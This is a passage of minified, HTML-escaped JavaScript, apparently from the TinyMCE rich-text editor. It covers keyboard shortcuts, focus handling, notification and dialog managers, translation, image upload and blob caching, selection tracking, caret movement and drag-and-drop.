k(e)&amp;&amp;J(e,o)}),e,t).getOr(n):&quot;function&quot;===r?Wp(D,e,t).getOr(n):u},Xp=Xt.each,Yp=Xt.explode,Gp={f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},Jp=Xt.makeMap(&quot;alt,ctrl,shift,meta,access&quot;);function Qp(i){var a={},r=[],u=function(e){var t,n,r={};for(n in Xp(Yp(e,&quot;+&quot;),function(e){e in Jp?r[e]=!0:/^[0-9]{2,}$/.test(e)?r.keyCode=parseInt(e,10):(r.charCode=e.charCodeAt(0),r.keyCode=Gp[e]||e.toUpperCase().charCodeAt(0))}),t=[r.keyCode],Jp)r[n]?t.push(n):r[n]=!1;return r.id=t.join(&quot;,&quot;),r.access&amp;&amp;(r.alt=!0,fe.mac?r.ctrl=!0:r.shift=!0),r.meta&amp;&amp;(fe.mac?r.meta=!0:(r.ctrl=!0,r.meta=!1)),r},s=function(e,t,n,r){var o;return(o=Xt.map(Yp(e,&quot;&gt;&quot;),u))[o.length-1]=Xt.extend(o[o.length-1],{func:n,scope:r||i}),Xt.extend(o[0],{desc:i.translate(t),subpatterns:o.slice(1)})},o=function(e,t){return!!t&amp;&amp;t.ctrl===e.ctrlKey&amp;&amp;t.meta===e.metaKey&amp;&amp;t.alt===e.altKey&amp;&amp;t.shift===e.shiftKey&amp;&amp;!!(e.keyCode===t.keyCode||e.charCode&amp;&amp;e.charCode===t.charCode)&amp;&amp;(e.preventDefault(),!0)},c=function(e){return e.func?e.func.call(e.scope):null};i.on(&quot;keyup keypress keydown&quot;,function(t){var e,n;((n=t).altKey||n.ctrlKey||n.metaKey||&quot;keydown&quot;===(e=t).type&amp;&amp;112&lt;=e.keyCode&amp;&amp;e.keyCode&lt;=123)&amp;&amp;!t.isDefaultPrevented()&amp;&amp;(Xp(a,function(e){if(o(t,e))return r=e.subpatterns.slice(0),&quot;keydown&quot;===t.type&amp;&amp;c(e),!0}),o(t,r[0])&amp;&amp;(1===r.length&amp;&amp;&quot;keydown&quot;===t.type&amp;&amp;c(r[0]),r.shift()))}),this.add=function(e,n,r,o){var t;return&quot;string&quot;==typeof(t=r)?r=function(){i.execCommand(t,!1,null)}:Xt.isArray(t)&amp;&amp;(r=function(){i.execCommand(t[0],t[1],t[2])}),Xp(Yp(Xt.trim(e.toLowerCase())),function(e){var t=s(e,n,r,o);a[t.id]=t}),!0},this.remove=function(e){var t=s(e);return!!a[t.id]&amp;&amp;(delete a[t.id],!0)}}var Zp=function(e){var t=Ur(e).dom();return e.dom()===t.activeElement},eh=function(t){return(e=Ur(t),n=e!==undefined?e.dom():V.document,_.from(n.activeElement).map(ar.fromDom)).filter(function(e){return t.dom().contains(e.dom())});var e,n},th=function(t,e){return(n=e,n.collapsed?_.from(eu(n.startContainer,n.startOffset)).map(ar.fromDom):_.none()).bind(function(e){return ko(e)?_.some(e):!1===zr(t,e)?_.some(t):_.none()});var n},nh=function(t,e){th(ar.fromDom(t.getBody()),e).bind(function(e){return sc.firstPositionIn(e.dom())}).fold(function(){t.selection.normalize()},function(e){return t.selection.setRng(e.toRange())})},rh=function(e){if(e.setActive)try{e.setActive()}catch(t){e.focus()}else e.focus()},oh=function(e){var t,n=e.getBody();return n&amp;&amp;(t=ar.fromDom(n),Zp(t)||eh(t).isSome())},ih=function(e){return e.inline?oh(e):(t=e).iframeElement&amp;&amp;Zp(ar.fromDom(t.iframeElement));var t},ah=function(e){return e.editorManager.setActive(e)},uh=function(e,t){e.removed||(t?ah(e):function(t){var e=t.selection,n=t.settings.content_editable,r=t.getBody(),o=e.getRng();t.quirks.refreshContentEditable();var i,a,u=(i=t,a=e.getNode(),i.dom.getParent(a,function(e){return&quot;true&quot;===i.dom.getContentEditable(e)}));if(t.$.contains(r,u))return rh(u),nh(t,o),ah(t);t.bookmark!==undefined&amp;&amp;!1===ih(t)&amp;&amp;up(t).each(function(e){t.selection.setRng(e),o=e}),n||(fe.opera||rh(r),t.getWin().focus()),(fe.gecko||n)&amp;&amp;(rh(r),nh(t,o)),ah(t)}(e))},sh=ih,ch=function(e,t){return t.dom()[e]},lh=function(e,t){return parseInt(kr(t,e),10)},fh=d(ch,&quot;clientWidth&quot;),dh=d(ch,&quot;clientHeight&quot;),mh=d(lh,&quot;margin-top&quot;),gh=d(lh,&quot;margin-left&quot;),ph=function(e,t,n){var r,o,i,a,u,s,c,l,f,d,m,g=ar.fromDom(e.getBody()),p=e.inline?g:(r=g,ar.fromDom(r.dom().ownerDocument.documentElement)),h=(o=e.inline,a=t,u=n,s=(i=p).dom().getBoundingClientRect(),{x:a-(o?s.left+i.dom().clientLeft+gh(i):0),y:u-(o?s.top+i.dom().clientTop+mh(i):0)});return l=h.x,f=h.y,d=fh(c=p),m=dh(c),0&lt;=l&amp;&amp;0&lt;=f&amp;&amp;l&lt;=d&amp;&amp;f&lt;=m},hh=function(e){var t,n=e.inline?e.getBody():e.getContentAreaContainer();return(t=n,_.from(t).map(ar.fromDom)).map(function(e){return zr(Ur(e),e)}).getOr(!1)};function vh(n){var t,o=[],i=function(){var e,t=n.theme;return t&amp;&amp;t.getNotificationManagerImpl?t.getNotificationManagerImpl():{open:e=function(){throw new Error(&quot;Theme did not provide a NotificationManager implementation.&quot;)},close:e,reposition:e,getArgs:e}},a=function(){0&lt;o.length&amp;&amp;i().reposition(o)},u=function(t){Y(o,function(e){return e===t}).each(function(e){o.splice(e,1)})},r=function(r){if(!n.removed&amp;&amp;hh(n))return X(o,function(e){return t=i().getArgs(e),n=r,!(t.type!==n.type||t.text!==n.text||t.progressBar||t.timeout||n.progressBar||n.timeout);var t,n}).getOrThunk(function(){n.editorManager.setActive(n);var e,t=i().open(r,function(){u(t),a()});return e=t,o.push(e),a(),t})};return(t=n).on(&quot;SkinLoaded&quot;,function(){var e=t.settings.service_message;e&amp;&amp;r({text:e,type:&quot;warning&quot;,timeout:0,icon:&quot;&quot;})}),t.on(&quot;ResizeEditor ResizeWindow&quot;,function(){he.requestAnimationFrame(a)}),t.on(&quot;remove&quot;,function(){z(o.slice(),function(e){i().close(e)})}),{open:r,close:function(){_.from(o[0]).each(function(e){i().close(e),u(e),a()})},getNotifications:function(){return o}}}function yh(r){var o=[],i=function(){var e,t=r.theme;return t&amp;&amp;t.getWindowManagerImpl?t.getWindowManagerImpl():{open:e=function(){throw new Error(&quot;Theme did not provide a WindowManager implementation.&quot;)},alert:e,confirm:e,close:e,getParams:e,setParams:e}},a=function(e,t){return function(){return t?t.apply(e,arguments):undefined}},u=function(e){var t;o.push(e),t=e,r.fire(&quot;OpenWindow&quot;,{win:t})},s=function(n){Y(o,function(e){return e===n}).each(function(e){var t;o.splice(e,1),t=n,r.fire(&quot;CloseWindow&quot;,{win:t}),0===o.length&amp;&amp;r.focus()})},e=function(){return _.from(o[o.length-1])};return r.on(&quot;remove&quot;,function(){z(o.slice(0),function(e){i().close(e)})}),{windows:o,open:function(e,t){r.editorManager.setActive(r),ip(r);var n=i().open(e,t,s);return u(n),n},alert:function(e,t,n){var r=i().alert(e,a(n||this,t),s);u(r)},confirm:function(e,t,n){var r=i().confirm(e,a(n||this,t),s);u(r)},close:function(){e().each(function(e){i().close(e),s(e)})},getParams:function(){return e().map(i().getParams).getOr(null)},setParams:function(t){e().each(function(e){i().setParams(e,t)})},getWindows:function(){return o}}}var bh={},Ch=&quot;en&quot;,xh={setCode:function(e){e&amp;&amp;(Ch=e,this.rtl=!!this.data[e]&amp;&amp;&quot;rtl&quot;===this.data[e]._dir)},getCode:function(){return Ch},rtl:!1,add:function(e,t){var n=bh[e];for(var r in n||(bh[e]=n={}),t)n[r]=t[r];this.setCode(e)},translate:function(e){var t=bh[Ch]||{},n=function(e){return Xt.is(e,&quot;function&quot;)?Object.prototype.toString.call(e):r(e)?&quot;&quot;:&quot;&quot;+e},r=function(e){return&quot;&quot;===e||null===e||Xt.is(e,&quot;undefined&quot;)},o=function(e){return e=n(e),Xt.hasOwn(t,e)?n(t[e]):e};if(r(e))return&quot;&quot;;if(Xt.is(e,&quot;object&quot;)&amp;&amp;Xt.hasOwn(e,&quot;raw&quot;))return n(e.raw);if(Xt.is(e,&quot;array&quot;)){var i=e.slice(1);e=o(e[0]).replace(/\{([0-9]+)\}/g,function(e,t){return Xt.hasOwn(i,t)?n(i[t]):e})}return o(e).replace(/{context:\w+}$/,&quot;&quot;)},data:bh},wh=Bi.PluginManager,Nh=function(e,t){var n=function(e,t){for(var n in wh.urls)if(wh.urls[n]+&quot;/plugin&quot;+t+&quot;.js&quot;===e)return n;return null}(t,e.suffix);return n?xh.translate([&quot;Failed to load plugin: {0} from url {1}&quot;,n,t]):xh.translate([&quot;Failed to load plugin url: {0}&quot;,t])},Eh=function(e,t){e.notificationManager.open({type:&quot;error&quot;,text:t})},Sh=function(e,t){e._skinLoaded?Eh(e,t):e.on(&quot;SkinLoaded&quot;,function(){Eh(e,t)})},Th=function(e){for(var t=[],n=1;n&lt;arguments.length;n++)t[n-1]=arguments[n];var r=V.window.console;r&amp;&amp;(r.error?r.error.apply(r,arguments):r.log.apply(r,arguments))},kh={pluginLoadError:function(e,t){Sh(e,Nh(e,t))},pluginInitError:function(e,t,n){var r=xh.translate([&quot;Failed to initialize plugin: {0}&quot;,t]);Th(r,n),Sh(e,r)},uploadError:function(e,t){Sh(e,xh.translate([&quot;Failed to upload image: {0}&quot;,t]))},displayError:Sh,initError:Th},_h=Bi.PluginManager,Ah=Bi.ThemeManager;function Rh(){return new(oe.getOrDie(&quot;XMLHttpRequest&quot;))}function Dh(u,s){var r={},n=function(e,r,o,t){var i,n;(i=Rh()).open(&quot;POST&quot;,s.url),i.withCredentials=s.credentials,i.upload.onprogress=function(e){t(e.loaded/e.total*100)},i.onerror=function(){o(&quot;Image upload failed due to a XHR Transport error. Code: &quot;+i.status)},i.onload=function(){var e,t,n;i.status&lt;200||300&lt;=i.status?o(&quot;HTTP Error: &quot;+i.status):(e=JSON.parse(i.responseText))&amp;&amp;&quot;string&quot;==typeof e.location?r((t=s.basePath,n=e.location,t?t.replace(/\/$/,&quot;&quot;)+&quot;/&quot;+n.replace(/^\//,&quot;&quot;):n)):o(&quot;Invalid JSON: &quot;+i.responseText)},(n=new V.FormData).append(&quot;file&quot;,e.blob(),e.filename()),i.send(n)},c=function(e,t){return{url:t,blobInfo:e,status:!0}},l=function(e,t){return{url:&quot;&quot;,blobInfo:e,status:!1,error:t}},f=function(e,t){Xt.each(r[e],function(e){e(t)}),delete r[e]},o=function(e,n){return e=Xt.grep(e,function(e){return!u.isUploaded(e.blobUri())}),de.all(Xt.map(e,function(e){return u.isPending(e.blobUri())?(t=e.blobUri(),new de(function(e){r[t]=r[t]||[],r[t].push(e)})):(o=e,i=s.handler,a=n,u.markPending(o.blobUri()),new de(function(t){var n;try{var r=function(){n&amp;&amp;n.close()};i(o,function(e){r(),u.markUploaded(o.blobUri(),e),f(o.blobUri(),c(o,e)),t(c(o,e))},function(e){r(),u.removeFailed(o.blobUri()),f(o.blobUri(),l(o,e)),t(l(o,e))},function(e){e&lt;0||100&lt;e||(n||(n=a()),n.progressBar.value(e))})}catch(e){t(l(o,e.message))}}));var o,i,a,t}))};return!1===D(s.handler)&amp;&amp;(s.handler=n),{upload:function(e,t){return s.url||s.handler!==n?o(e,t):new de(function(e){e([])})}}}var Oh=function(e){return oe.getOrDie(&quot;atob&quot;)(e)},Bh=function(e){var t,n,r=decodeURIComponent(e).split(&quot;,&quot;);return(n=/data:([^;]+)/.exec(r[0]))&amp;&amp;(t=n[1]),{type:t,data:r[1]}},Ph=function(a){return new de(function(e){var t,n,r,o,i=Bh(a);try{t=Oh(i.data)}catch(iE){return void e(new V.Blob([]))}for(o=t.length,n=new(oe.getOrDie(&quot;Uint8Array&quot;))(o),r=0;r&lt;n.length;r++)n[r]=t.charCodeAt(r);e(new V.Blob([n],{type:i.type}))})},Ih=function(e){return 0===e.indexOf(&quot;blob:&quot;)?(i=e,new de(function(e,t){var n=function(){t(&quot;Cannot convert &quot;+i+&quot; to Blob. Resource might not exist or is inaccessible.&quot;)};try{var r=Rh();r.open(&quot;GET&quot;,i,!0),r.responseType=&quot;blob&quot;,r.onload=function(){200===this.status?e(this.response):n()},r.onerror=n,r.send()}catch(o){n()}})):0===e.indexOf(&quot;data:&quot;)?Ph(e):null;var i},Lh=function(n){return new de(function(e){var t=new(oe.getOrDie(&quot;FileReader&quot;));t.onloadend=function(){e(t.result)},t.readAsDataURL(n)})},Fh=Bh,Mh=0,zh=function(e){return(e||&quot;blobid&quot;)+Mh++},Uh=function(n,r,o,t){var i,a;0!==r.src.indexOf(&quot;blob:&quot;)?(i=Fh(r.src).data,(a=n.findFirst(function(e){return e.base64()===i}))?o({image:r,blobInfo:a}):Ih(r.src).then(function(e){a=n.create(zh(),e,i),n.add(a),o({image:r,blobInfo:a})},function(e){t(e)})):(a=n.getByUri(r.src))?o({image:r,blobInfo:a}):Ih(r.src).then(function(t){Lh(t).then(function(e){i=Fh(e).data,a=n.create(zh(),t,i),n.add(a),o({image:r,blobInfo:a})})},function(e){t(e)})},jh=function(e){return e?te(e.getElementsByTagName(&quot;img&quot;)):[]},Vh=0,Hh={uuid:function(e){return e+Vh+++(t=function(){return Math.round(4294967295*Math.random()).toString(36)},&quot;s&quot;+(new Date).getTime().toString(36)+t()+t()+t());var t}};function qh(u){var n,o,t,e,i,r,a,s,c,l=(n=[],o=function(e){var t,n,r;if(!e.blob||!e.base64)throw new Error(&quot;blob and base64 representations of the image are required for BlobInfo to be created&quot;);return t=e.id||Hh.uuid(&quot;blobid&quot;),n=e.name||t,{id:q(t),name:q(n),filename:q(n+&quot;.&quot;+(r=e.blob.type,{&quot;image/jpeg&quot;:&quot;jpg&quot;,&quot;image/jpg&quot;:&quot;jpg&quot;,&quot;image/gif&quot;:&quot;gif&quot;,&quot;image/png&quot;:&quot;png&quot;}[r.toLowerCase()]||&quot;dat&quot;)),blob:q(e.blob),base64:q(e.base64),blobUri:q(e.blobUri||ae.createObjectURL(e.blob)),uri:q(e.uri)}},{create:function(e,t,n,r){if(S(e))return o({id:e,name:r,blob:t,base64:n});if(T(e))return o(e);throw new Error(&quot;Unknown input type&quot;)},add:function(e){t(e.id())||n.push(e)},get:t=function(t){return e(function(e){return e.id()===t})},getByUri:function(t){return e(function(e){return e.blobUri()===t})},findFirst:e=function(e){return U(n,e)[0]},removeByUri:function(t){n=U(n,function(e){return e.blobUri()!==t||(ae.revokeObjectURL(e.blobUri()),!1)})},destroy:function(){z(n,function(e){ae.revokeObjectURL(e.blobUri())}),n=[]}}),f=(a={},s=function(e,t){return{status:e,resultUri:t}},{hasBlobUri:c=function(e){return e in a},getResultUri:function(e){var t=a[e];return t?t.resultUri:null},isPending:function(e){return!!c(e)&amp;&amp;1===a[e].status},isUploaded:function(e){return!!c(e)&amp;&amp;2===a[e].status},markPending:function(e){a[e]=s(1,null)},markUploaded:function(e,t){a[e]=s(2,t)},removeFailed:function(e){delete a[e]},destroy:function(){a={}}}),d=[],m=function(t){return function(e){return u.selection?t(e):[]}},g=function(e,t,n){for(var r=0;-1!==(r=e.indexOf(t,r))&amp;&amp;(e=e.substring(0,r)+n+e.substr(r+t.length),r+=n.length-t.length+1),-1!==r;);return e},p=function(e,t,n){return e=g(e,&#039;src=&quot;&#039;+t+&#039;&quot;&#039;,&#039;src=&quot;&#039;+n+&#039;&quot;&#039;),e=g(e,&#039;data-mce-src=&quot;&#039;+t+&#039;&quot;&#039;,&#039;data-mce-src=&quot;&#039;+n+&#039;&quot;&#039;)},h=function(t,n){z(u.undoManager.data,function(e){&quot;fragmented&quot;===e.type?e.fragments=W(e.fragments,function(e){return p(e,t,n)}):e.content=p(e.content,t,n)})},v=function(){return u.notificationManager.open({text:u.translate(&quot;Image uploading...&quot;),type:&quot;info&quot;,timeout:-1,progressBar:!0})},y=function(e,t){l.removeByUri(e.src),h(e.src,t),u.$(e).attr({src:Bl(u)?t+&quot;?&quot;+(new Date).getTime():t,&quot;data-mce-src&quot;:u.convertURL(t,&quot;src&quot;)})},b=function(n){return i||(i=Dh(f,{url:Il(u),basePath:Ll(u),credentials:Fl(u),handler:Ml(u)})),w().then(m(function(r){var e;return e=W(r,function(e){return e.blobInfo}),i.upload(e,v).then(m(function(e){var t=W(e,function(e,t){var n=r[t].image;return e.status&amp;&amp;Pl(u)?y(n,e.url):e.error&amp;&amp;kh.uploadError(u,e.error),{element:n,status:e.status}});return n&amp;&amp;n(t),t}))}))},C=function(e){if(Ol(u))return b(e)},x=function(t){return!1!==J(d,function(e){return e(t)})&amp;&amp;(0!==t.getAttribute(&quot;src&quot;).indexOf(&quot;data:&quot;)||Dl(u)(t))},w=function(){var o,i,a;return r||(o=f,i=l,a={},r={findAll:function(e,n){var t;n||(n=q(!0)),t=U(jh(e),function(e){var t=e.src;return!!fe.fileApi&amp;&amp;!e.hasAttribute(&quot;data-mce-bogus&quot;)&amp;&amp;!e.hasAttribute(&quot;data-mce-placeholder&quot;)&amp;&amp;!(!t||t===fe.transparentSrc)&amp;&amp;(0===t.indexOf(&quot;blob:&quot;)?!o.isUploaded(t)&amp;&amp;n(e):0===t.indexOf(&quot;data:&quot;)&amp;&amp;n(e))});var r=W(t,function(n){if(a[n.src])return new de(function(t){a[n.src].then(function(e){if(&quot;string&quot;==typeof e)return e;t({image:n,blobInfo:e.blobInfo})})});var e=new de(function(e,t){Uh(i,n,e,t)}).then(function(e){return delete a[e.image.src],e})[&quot;catch&quot;](function(e){return delete a[n.src],e});return a[n.src]=e});return de.all(r)}}),r.findAll(u.getBody(),x).then(m(function(e){return e=U(e,function(e){return&quot;string&quot;!=typeof e||(kh.displayError(u,e),!1)}),z(e,function(e){h(e.image.src,e.blobInfo.blobUri()),e.image.src=e.blobInfo.blobUri(),e.image.removeAttribute(&quot;data-mce-src&quot;)}),e}))},N=function(e){return e.replace(/src=&quot;(blob:[^&quot;]+)&quot;/g,function(e,n){var t=f.getResultUri(n);if(t)return&#039;src=&quot;&#039;+t+&#039;&quot;&#039;;var r=l.getByUri(n);return r||(r=j(u.editorManager.get(),function(e,t){return e||t.editorUpload&amp;&amp;t.editorUpload.blobCache.getByUri(n)},null)),r?&#039;src=&quot;data:&#039;+r.blob().type+&quot;;base64,&quot;+r.base64()+&#039;&quot;&#039;:e})};return u.on(&quot;setContent&quot;,function(){Ol(u)?C():w()}),u.on(&quot;RawSaveContent&quot;,function(e){e.content=N(e.content)}),u.on(&quot;getContent&quot;,function(e){e.source_view||&quot;raw&quot;===e.format||(e.content=N(e.content))}),u.on(&quot;PostRender&quot;,function(){u.parser.addNodeFilter(&quot;img&quot;,function(e){z(e,function(e){var t=e.attr(&quot;src&quot;);if(!l.getByUri(t)){var n=f.getResultUri(t);n&amp;&amp;e.attr(&quot;src&quot;,n)}})})}),{blobCache:l,addFilter:function(e){d.push(e)},uploadImages:b,uploadImagesAuto:C,scanForImages:w,destroy:function(){l.destroy(),f.destroy(),r=i=null}}}var $h=function(e,t){return e.hasOwnProperty(t.nodeName)},Wh=function(e,t){if(jo.isText(t)){if(0===t.nodeValue.length)return!0;if(/^\s+$/.test(t.nodeValue)&amp;&amp;(!t.nextSibling||$h(e,t.nextSibling)))return!0}return!1},Kh=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=e.settings,m=e.dom,g=e.selection,p=e.schema,h=p.getBlockElements(),v=g.getStart(),y=e.getBody();if(f=d.forced_root_block,v&amp;&amp;jo.isElement(v)&amp;&amp;f&amp;&amp;(l=y.nodeName.toLowerCase(),p.isValidChild(l,f.toLowerCase())&amp;&amp;(b=h,C=y,x=v,!M(af(ar.fromDom(x),ar.fromDom(C)),function(e){return $h(b,e.dom())})))){var b,C,x,w,N;for(n=(t=g.getRng()).startContainer,r=t.startOffset,o=t.endContainer,i=t.endOffset,c=sh(e),v=y.firstChild;v;)if(w=h,N=v,jo.isText(N)||jo.isElement(N)&amp;&amp;!$h(w,N)&amp;&amp;!yc(N)){if(Wh(h,v)){v=(u=v).nextSibling,m.remove(u);continue}a||(a=m.create(f,e.settings.forced_root_block_attrs),v.parentNode.insertBefore(a,v),s=!0),v=(u=v).nextSibling,a.appendChild(u)}else a=null,v=v.nextSibling;s&amp;&amp;c&amp;&amp;(t.setStart(n,r),t.setEnd(o,i),g.setRng(t),e.nodeChanged())}},Xh=function(e){e.settings.forced_root_block&amp;&amp;e.on(&quot;NodeChange&quot;,d(Kh,e))},Yh=function(t){return Yr(t).fold(q([t]),function(e){return[t].concat(Yh(e))})},Gh=function(t){return Gr(t).fold(q([t]),function(e){return&quot;br&quot;===lr(e)?Hr(e).map(function(e){return[t].concat(Gh(e))}).getOr([]):[t].concat(Gh(e))})},Jh=function(o,e){return ru((i=e,a=i.startContainer,u=i.startOffset,jo.isText(a)?0===u?_.some(ar.fromDom(a)):_.none():_.from(a.childNodes[u]).map(ar.fromDom)),(t=e,n=t.endContainer,r=t.endOffset,jo.isText(n)?r===n.data.length?_.some(ar.fromDom(n)):_.none():_.from(n.childNodes[r-1]).map(ar.fromDom)),function(e,t){var n=X(Yh(o),d(Mr,e)),r=X(Gh(o),d(Mr,t));return n.isSome()&amp;&amp;r.isSome()}).getOr(!1);var t,n,r,i,a,u},Qh=function(e,t,n,r){var o=n,i=new go(n,o),a=e.schema.getNonEmptyElements();do{if(3===n.nodeType&amp;&amp;0!==Xt.trim(n.nodeValue).length)return void(r?t.setStart(n,0):t.setEnd(n,n.nodeValue.length));if(a[n.nodeName]&amp;&amp;!/^(TD|TH)$/.test(n.nodeName))return void(r?t.setStartBefore(n):&quot;BR&quot;===n.nodeName?t.setEndBefore(n):t.setEndAfter(n));if(fe.ie&amp;&amp;fe.ie&lt;11&amp;&amp;e.isBlock(n)&amp;&amp;e.isEmpty(n))return void(r?t.setStart(n,0):t.setEnd(n,0))}while(n=r?i.next():i.prev());&quot;BODY&quot;===o.nodeName&amp;&amp;(r?t.setStart(o,0):t.setEnd(o,o.childNodes.length))},Zh=function(e){var t=e.selection.getSel();return t&amp;&amp;0&lt;t.rangeCount};function ev(i){var r,o=[];&quot;onselectionchange&quot;in i.getDoc()||i.on(&quot;NodeChange Click MouseUp KeyUp Focus&quot;,function(e){var t,n;n={startContainer:(t=i.selection.getRng()).startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset},&quot;nodechange&quot;!==e.type&amp;&amp;Eg(n,r)||i.fire(&quot;SelectionChange&quot;),r=n}),i.on(&quot;contextmenu&quot;,function(){i.fire(&quot;SelectionChange&quot;)}),i.on(&quot;SelectionChange&quot;,function(){var e=i.selection.getStart(!0);!e||!fe.range&amp;&amp;i.selection.isCollapsed()||Zh(i)&amp;&amp;!function(e){var t,n;if((n=i.$(e).parentsUntil(i.getBody()).add(e)).length===o.length){for(t=n.length;0&lt;=t&amp;&amp;n[t]===o[t];t--);if(-1===t)return o=n,!0}return o=n,!1}(e)&amp;&amp;i.dom.isChildOf(e,i.getBody())&amp;&amp;i.nodeChanged({selectionChange:!0})}),i.on(&quot;MouseUp&quot;,function(e){!e.isDefaultPrevented()&amp;&amp;Zh(i)&amp;&amp;(&quot;IMG&quot;===i.selection.getNode().nodeName?he.setEditorTimeout(i,function(){i.nodeChanged()}):i.nodeChanged())}),this.nodeChanged=function(e){var t,n,r,o=i.selection;i.initialized&amp;&amp;o&amp;&amp;!i.settings.disable_nodechange&amp;&amp;!i.readonly&amp;&amp;(r=i.getBody(),(t=o.getStart(!0)||r).ownerDocument===i.getDoc()&amp;&amp;i.dom.isChildOf(t,r)||(t=r),n=[],i.dom.getParent(t,function(e){if(e===r)return!0;n.push(e)}),(e=e||{}).element=t,e.parents=n,i.fire(&quot;NodeChange&quot;,e))}}var tv,nv,rv={BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,END:35,HOME:36,modifierPressed:function(e){return e.shiftKey||e.ctrlKey||e.altKey||this.metaKeyPressed(e)},metaKeyPressed:function(e){return fe.mac?e.metaKey:e.ctrlKey&amp;&amp;!e.altKey}},ov=function(e){return j(e,function(e,t){return e.concat(function(t){var e=function(e){return W(e,function(e){return(e=Ka(e)).node=t,e})};if(jo.isElement(t))return e(t.getClientRects());if(jo.isText(t)){var n=t.ownerDocument.createRange();return n.setStart(t,0),n.setEnd(t,t.data.length),e(n.getClientRects())}}(t))},[])};(nv=tv||(tv={}))[nv.Up=-1]=&quot;Up&quot;,nv[nv.Down=1]=&quot;Down&quot;;var iv=function(o,i,a,e,u,t){var n,s,c=0,l=[],r=function(e){var t,n,r;for(r=ov([e]),-1===o&amp;&amp;(r=r.reverse()),t=0;t&lt;r.length;t++)if(n=r[t],!a(n,s)){if(0&lt;l.length&amp;&amp;i(n,Ht.last(l))&amp;&amp;c++,n.line=c,u(n))return!0;l.push(n)}};return(s=Ht.last(t.getClientRects()))&amp;&amp;(r(n=t.getNode()),function(e,t,n,r){for(;r=Es(r,e,$a,t);)if(n(r))return}(o,e,r,n)),l},av=d(iv,tv.Up,Ga,Ja),uv=d(iv,tv.Down,Ja,Ga),sv=function(n){return function(e){return t=n,e.line&gt;t;var t}},cv=function(n){return function(e){return t=n,e.line===t;var t}},lv=jo.isContentEditableFalse,fv=Es,dv=function(e,t){return Math.abs(e.left-t)},mv=function(e,t){return Math.abs(e.right-t)},gv=function(e,t){return e&gt;=t.left&amp;&amp;e&lt;=t.right},pv=function(e,o){return Ht.reduce(e,function(e,t){var n,r;return n=Math.min(dv(e,o),mv(e,o)),r=Math.min(dv(t,o),mv(t,o)),gv(o,t)?t:gv(o,e)?e:r===n&amp;&amp;lv(t.node)?t:r&lt;n?t:e})},hv=function(e,t,n,r){for(;r=fv(r,e,$a,t);)if(n(r))return},vv=function(e,t,n){var r,o,i,a,u,s,c,l=ov(U(te(e.getElementsByTagName(&quot;*&quot;)),gs)),f=U(l,function(e){return n&gt;=e.top&amp;&amp;n&lt;=e.bottom});return(r=pv(f,t))&amp;&amp;(r=pv((a=e,c=function(t,e){var n;return n=U(ov([e]),function(e){return!t(e,u)}),s=s.concat(n),0===n.length},(s=[]).push(u=r),hv(tv.Up,a,d(c,Ga),u.node),hv(tv.Down,a,d(c,Ja),u.node),s),t))&amp;&amp;gs(r.node)?(i=t,{node:(o=r).node,before:dv(o,i)&lt;mv(o,i)}):null},yv=function(t,n,e){if(e.collapsed)return!1;if(fe.ie&amp;&amp;fe.ie&lt;=11&amp;&amp;e.startOffset===e.endOffset-1&amp;&amp;e.startContainer===e.endContainer){var r=e.startContainer.childNodes[e.startOffset];if(jo.isElement(r))return M(r.getClientRects(),function(e){return Qa(e,t,n)})}return M(e.getClientRects(),function(e){return Qa(e,t,n)})},bv=function(e){var t,n,r,o;return o=e.getBoundingClientRect(),n=(t=e.ownerDocument).documentElement,r=t.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}},Cv=function(e,t){return n=(u=e).inline?bv(u.getBody()):{left:0,top:0},a=(i=e).getBody(),r=i.inline?{left:a.scrollLeft,top:a.scrollTop}:{left:0,top:0},{pageX:(o=function(e,t){if(t.target.ownerDocument!==e.getDoc()){var n=bv(e.getContentAreaContainer()),r=(i=(o=e).getBody(),a=o.getDoc().documentElement,u={left:i.scrollLeft,top:i.scrollTop},s={left:i.scrollLeft||a.scrollLeft,top:i.scrollTop||a.scrollTop},o.inline?u:s);return{left:t.pageX-n.left+r.left,top:t.pageY-n.top+r.top}}var o,i,a,u,s;return{left:t.pageX,top:t.pageY}}(e,t)).left-n.left+r.left,pageY:o.top-n.top+r.top};var n,r,o,i,a,u},xv=jo.isContentEditableFalse,wv=jo.isContentEditableTrue,Nv=function(e){e&amp;&amp;e.parentNode&amp;&amp;e.parentNode.removeChild(e)},Ev=function(u,s){return function(e){if(0===e.button){var t=X(s.dom.getParents(e.target),au(xv,wv)).getOr(null);if(i=s.getBody(),xv(a=t)&amp;&amp;a!==i){var n=s.dom.getPos(t),r=s.getBody(),o=s.getDoc().documentElement;u.element=t,u.screenX=e.screenX,u.screenY=e.screenY,u.maxX=(s.inline?r.scrollWidth:o.offsetWidth)-2,u.maxY=(s.inline?r.scrollHeight:o.offsetHeight)-2,u.relX=e.pageX-n.x,u.relY=e.pageY-n.y,u.width=t.offsetWidth,u.height=t.offsetHeight,u.ghost=function(e,t,n,r){var o=t.cloneNode(!0);e.dom.setStyles(o,{width:n,height:r}),e.dom.setAttrib(o,&quot;data-mce-selected&quot;,null);var i=e.dom.create(&quot;div&quot;,{&quot;class&quot;:&quot;mce-drag-container&quot;,&quot;data-mce-bogus&quot;:&quot;all&quot;,unselectable:&quot;on&quot;,contenteditable:&quot;false&quot;});return e.dom.setStyles(i,{position:&quot;absolute&quot;,opacity:.5,overflow:&quot;hidden&quot;,border:0,padding:0,margin:0,width:n,height:r}),e.dom.setStyles(o,{margin:0,boxSizing:&quot;border-box&quot;}),i.appendChild(o),i}(s,t,u.width,u.height)}}var i,a}},Sv=function(l,f){return function(e){if(l.dragging&amp;&amp;(s=(i=f).selection,c=s.getSel().getRangeAt(0).startContainer,a=3===c.nodeType?c.parentNode:c,u=l.element,a!==u&amp;&amp;!i.dom.isChildOf(a,u)&amp;&amp;!xv(a))){var t=(r=l.element,(o=r.cloneNode(!0)).removeAttribute(&quot;data-mce-selected&quot;),o),n=f.fire(&quot;drop&quot;,{targetClone:t,clientX:e.clientX,clientY:e.clientY});n.isDefaultPrevented()||(t=n.targetClone,f.undoManager.transact(function(){Nv(l.element),f.insertContent(f.dom.getOuterHTML(t)),f._selectionOverrides.hideFakeCaret()}))}var 